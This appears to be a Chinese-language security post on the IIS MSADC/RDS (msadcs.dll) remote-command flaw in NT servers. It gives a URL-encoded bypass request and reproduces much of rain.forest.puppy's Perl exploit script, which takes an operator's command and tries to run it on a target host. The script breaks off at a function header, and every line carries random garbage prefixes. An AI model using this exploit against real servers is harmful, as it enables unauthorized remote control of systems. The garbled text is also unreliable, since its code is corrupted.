IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
"J8;4p }:RT,< 涉及程序:
4[LLnF-- Microsoft NT server
`\ W ^8';8+$ 描述:
7|+|\7l# 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
S/nj5Lh m{bZRkt 详细:
I9[1U 如果你没有时间读详细内容的话,就删除:
d%#!nq{vd c:\Program Files\Common Files\System\Msadc\msadcs.dll
`x{.z=xC 有关的安全问题就没有了。
X6LhM gnQo1q{ 4 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
"wnpiB} d}{LM!s 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
E-yT 关于利用ODBC远程漏洞的描述,请参看:
M#\ < ?Do^stq'4 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm X$7Oo^1; 99l>CYXd 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
;ZQ-uz http://www.microsoft.com/security/bulletins/MS99-025faq.asp DU5:+"
u3 v`#j 这里不再论述。
^CZCZ,v >lD;0EN 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
w/b>awI \H Wcd| /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
nS_Ta 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
}xAie( s<[A0=LH
]pW86L% #将下面这段保存为txt文件,然后: "perl -x 文件名"
d]tv'|E13 +h0PR? #!perl
8YuJ8KC #
Bk?8zYp # MSADC/RDS 'usage' (aka exploit) script
"$XYIuT #
A/q2g7My # by rain.forest.puppy
D
Irgq|8 #
8F#osN # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
(GCG/8s # beta test and find errors!
`W@T'T" F%xK"l`& use Socket; use Getopt::Std;
\HAJ\9*w) getopts("e:vd:h:XR", \%args);
ze`1fO|% zVSx$6eiU print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
n;wwMMBM rwiw
Rh if (!defined $args{h} && !defined $args{R}) {
^:`oP"%-T print qq~
PK_s#uC Usage: msadc.pl -h <host> { -d <delay> -X -v }
aF!E x -h <host> = host you want to scan (ip or domain)
\tY"BC4. -d <seconds> = delay between calls, default 1 second
u*2fP]n -X = dump Index Server path table, if available
93j{.0]X -v = verbose
?hnx/z+uT -e = external dictionary file for step 5
S}[l*7 \V,c]I
Or a -R will resume a command session
pz{'1\_+9 Yu'a<5f ~; exit;}
Y9F)`17 nX|Q~x] $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
6^)rv-L~5y if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
jpRBER_X if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
t8QRi!\= if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
%}P4kEY $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
MaO"#{i if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
;f:gX`"\ w/W7N if (!defined $args{R}){ $ret = &has_msadc;
[E7MsX die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
.wmnnvtl, AEY$@!8
print "Please type the NT commandline you want to run (cmd /c assumed):\n"
(9 sIA*,} . "cmd /c ";
=. *98 $in=<STDIN>; chomp $in;
/@hJpz|+ $command="cmd /c " . $in ;
v?%LQKO Bq@zaMv if (defined $args{R}) {&load; exit;}
Tk*w3c"$ !nd*W"_gQ/ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
5{d\uE%'p &try_btcustmr;
iXFP5a>| X8i(~
B print "\nStep 2: Trying to make our own DSN...";
K B!5u 9 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
ib$nc2BPb Ye5jB2Z
print "\nStep 3: Trying known DSNs...";
Kc #|Z &known_dsn;
DIaYo4 (u hd "
print "\nStep 4: Trying known .mdbs...";
{^}0 G^ &known_mdb;
<@G8ni `]=oo%(h if (defined $args{e}){
,lt8O.h-l print "\nStep 5: Trying dictionary of DSN names...";
maNW{"1 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
}fZ`IOf 0:=ZkEEeU print "Sorry Charley...maybe next time?\n";
HpVjee exit;
k`\R+WK$ }7s>B24J ##############################################################################
^e Gue 6/Fzco#N sub sendraw { # ripped and modded from whisker
;`dh
fcU sleep($delay); # it's a DoS on the server! At least on mine...
F%d\~Vj my ($pstr)=@_;
. ]@=es socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
X^@I]. die("Socket problems\n");
+GF#?X0^ if(connect(S,pack "SnA4x8",2,80,$target)){
l"(6]Z 4 select(S); $|=1;
'?QuJFki print $pstr; my @in=<S>;
yxt[=
C select(STDOUT); close(S);
.8WXC
return @in;
&a,OfSz } else { die("Can't connect...\n"); }}
e@#kRklV& lrWQOYf2 ##############################################################################
$ ((6=39s N587(wZ sub make_header { # make the HTTP request
Y&HK